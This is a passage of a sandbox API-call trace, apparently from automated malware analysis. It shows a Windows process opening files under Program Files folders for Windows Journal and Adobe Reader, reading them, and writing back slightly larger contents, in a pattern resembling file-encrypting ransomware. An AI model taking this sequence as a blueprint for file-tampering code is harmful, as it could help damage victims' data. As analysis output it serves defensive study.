dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2c0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˀ폈Hˀ퐔HˀLˀꢸǦ\x01") returned 0x13 [0033.248] LocalFree (hMem=0x70b5a8) returned 0x0 [0033.248] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2c0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0033.248] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2c0f894) [0033.248] RtlUnwind (TargetFrame=0x2c0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0033.248] RtlUnwind (TargetFrame=0x2c0f920, TargetIp=0x407184, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0033.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\jnwdui.dll.mui")) returned 0x20 [0033.249] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp" (normalized: "c:\\program files\\windows journal\\templates\\dotted_line.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0033.249] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp", nBufferLength=0x104, lpBuffer=0x2c0f694, lpFilePart=0x2c0f690 | out: lpBuffer="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp", lpFilePart=0x2c0f690*="Dotted_Line.jtp") returned 0x3a [0033.249] GetLastError () returned 0x5 [0033.249] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2c0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˀ폈Hˀ퐔HˀLˀꢸǦ\x01") returned 0x13 [0033.249] LocalFree (hMem=0x70b5a8) returned 0x0 [0033.249] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2c0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0033.249] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2c0f894) [0033.249] RtlUnwind (TargetFrame=0x2c0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0033.249] RtlUnwind (TargetFrame=0x2c0f920, TargetIp=0x407184, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0033.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp" (normalized: "c:\\program files\\windows journal\\templates\\dotted_line.jtp")) returned 0x20 [0033.250] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe" (normalized: "c:\\program files\\windows journal\\trademarksnominationbrighton.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0033.250] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe", nBufferLength=0x104, lpBuffer=0x2c0f694, lpFilePart=0x2c0f690 | out: lpBuffer="C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe", lpFilePart=0x2c0f690*="trademarksnominationbrighton.exe") returned 0x41 [0033.250] GetLastError () returned 0x20 [0033.250] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x2c0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?pˀ폈Hˀ퐔HˀLˀꢸǦ\x01") returned 0x51 [0033.250] LocalFree (hMem=0x70da60) returned 0x0 [0033.250] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2c0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0033.250] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2c0f894) [0033.250] RtlUnwind (TargetFrame=0x2c0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0033.250] RtlUnwind (TargetFrame=0x2c0f920, TargetIp=0x407184, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0033.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe" (normalized: "c:\\program files\\windows journal\\trademarksnominationbrighton.exe")) returned 0x20 [0033.250] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" (normalized: "c:\\program files\\windows photo viewer\\en-us\\photoacq.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0033.250] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui", nBufferLength=0x104, lpBuffer=0x2c0f694, lpFilePart=0x2c0f690 | out: lpBuffer="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui", lpFilePart=0x2c0f690*="PhotoAcq.dll.mui") returned 0x3c [0033.250] GetLastError () returned 0x5 [0033.251] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2c0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˀ폈Hˀ퐔HˀLˀꢸǦ\x01") returned 0x13 [0033.251] LocalFree (hMem=0x70b5a8) returned 0x0 [0033.251] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2c0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0033.251] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2c0f894) [0033.251] RtlUnwind (TargetFrame=0x2c0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0033.251] RtlUnwind (TargetFrame=0x2c0f920, TargetIp=0x407184, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0033.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" (normalized: "c:\\program files\\windows photo viewer\\en-us\\photoacq.dll.mui")) returned 0x20 [0033.251] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\irakhau.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0033.252] SetFilePointer (in: hFile=0x174, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0033.252] SetFilePointer (in: hFile=0x174, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4288 [0033.252] SetFilePointer (in: hFile=0x174, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0033.252] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.252] ReleaseMutex (hMutex=0x128) returned 1 [0033.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IrakHau.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IrakHau.htm", cchWideChar=11, lpMultiByteStr=0x1e632ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IrakHau.htm", lpUsedDefaultChar=0x0) returned 11 [0033.252] ReadFile (in: hFile=0x174, lpBuffer=0x2621ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2621ca8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.254] SetFilePointer (in: hFile=0x174, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3288 [0033.254] ReadFile (in: hFile=0x174, lpBuffer=0x2621ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2621ca8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.255] SetFilePointer (in: hFile=0x174, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3288 [0033.255] WriteFile (in: hFile=0x174, lpBuffer=0x2628d68*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2628d68*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.255] SetFilePointer (in: hFile=0x174, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0033.255] WriteFile (in: hFile=0x174, lpBuffer=0x2621ca8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2621ca8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0033.255] CloseHandle (hObject=0x174) returned 1 [0033.256] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\acrord32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0033.256] SetFilePointer (in: hFile=0x174, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0033.256] SetFilePointer (in: hFile=0x174, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x13ad98 [0033.256] SetFilePointer (in: hFile=0x174, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0033.257] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.257] ReleaseMutex (hMutex=0x128) returned 1 [0033.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32.exe", cchWideChar=12, lpMultiByteStr=0x1e6312c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroRd32.exe", lpUsedDefaultChar=0x0) returned 12 [0033.257] ReadFile (in: hFile=0x174, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.259] ReadFile (in: hFile=0x174, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.260] SetFilePointer (in: hFile=0x174, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x139d98 [0033.260] ReadFile (in: hFile=0x174, lpBuffer=0x2625cd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2625cd8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.263] SetFilePointer (in: hFile=0x174, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x139d98 [0033.263] WriteFile (in: hFile=0x174, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.264] SetFilePointer (in: hFile=0x174, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0033.264] WriteFile (in: hFile=0x174, lpBuffer=0x1dabed8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesWritten=0x2c0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0033.265] WriteFile (in: hFile=0x174, lpBuffer=0x1dabed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0033.265] CloseHandle (hObject=0x174) returned 1 [0033.287] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0033.287] SetFilePointer (in: hFile=0x174, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0033.287] SetFilePointer (in: hFile=0x174, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1e00 [0033.288] SetFilePointer (in: hFile=0x174, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0033.288] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.288] ReleaseMutex (hMutex=0x128) returned 1 [0033.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DAN", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.DAN", lpUsedDefaultChar=0x0) returned 11 [0033.288] ReadFile (in: hFile=0x174, lpBuffer=0x2625cd8, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2625cd8*, lpNumberOfBytesRead=0x2c0f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0033.416] SetFilePointer (in: hFile=0x174, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0033.416] WriteFile (in: hFile=0x174, lpBuffer=0x2624ca8*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2624ca8*, lpNumberOfBytesWritten=0x2c0f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0033.417] CloseHandle (hObject=0x174) returned 1 [0033.418] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0033.800] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0033.800] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1e00 [0033.800] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0033.800] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.800] ReleaseMutex (hMutex=0x128) returned 1 [0033.800] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.800] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NLD", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.NLD", lpUsedDefaultChar=0x0) returned 11 [0033.800] ReadFile (in: hFile=0x168, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0034.017] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0034.018] WriteFile (in: hFile=0x168, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x2c0f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0034.018] CloseHandle (hObject=0x168) returned 1 [0034.019] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0034.036] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0034.036] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1e00 [0034.036] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0034.036] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.036] ReleaseMutex (hMutex=0x128) returned 1 [0034.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.TUR", cchWideChar=11, lpMultiByteStr=0x1e6322c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.TUR", lpUsedDefaultChar=0x0) returned 11 [0034.036] ReadFile (in: hFile=0x168, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2c0f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0034.201] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0034.201] WriteFile (in: hFile=0x168, lpBuffer=0x25c51d8*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c51d8*, lpNumberOfBytesWritten=0x2c0f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0034.202] CloseHandle (hObject=0x168) returned 1 [0034.204] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0034.205] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0034.205] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x2000 [0034.205] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0034.205] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.205] ReleaseMutex (hMutex=0x128) returned 1 [0034.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.FRA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.FRA", cchWideChar=11, lpMultiByteStr=0x1e631ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.FRA", lpUsedDefaultChar=0x0) returned 11 [0034.205] ReadFile (in: hFile=0x168, lpBuffer=0x25c51d8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c51d8*, lpNumberOfBytesRead=0x2c0f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0034.236] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0034.236] WriteFile (in: hFile=0x168, lpBuffer=0x25c51d8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c51d8*, lpNumberOfBytesWritten=0x2c0f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0034.237] CloseHandle (hObject=0x168) returned 1 [0034.238] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0034.247] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0034.247] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x2000 [0034.247] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0034.247] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.248] ReleaseMutex (hMutex=0x128) returned 1 [0034.248] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.248] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUM", cchWideChar=11, lpMultiByteStr=0x1e6334c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.RUM", lpUsedDefaultChar=0x0) returned 11 [0034.248] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0034.300] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0034.300] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x2c0f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0034.301] CloseHandle (hObject=0x1b0) returned 1 [0034.302] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts\\jsbytecodewin.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0034.302] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0034.302] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, 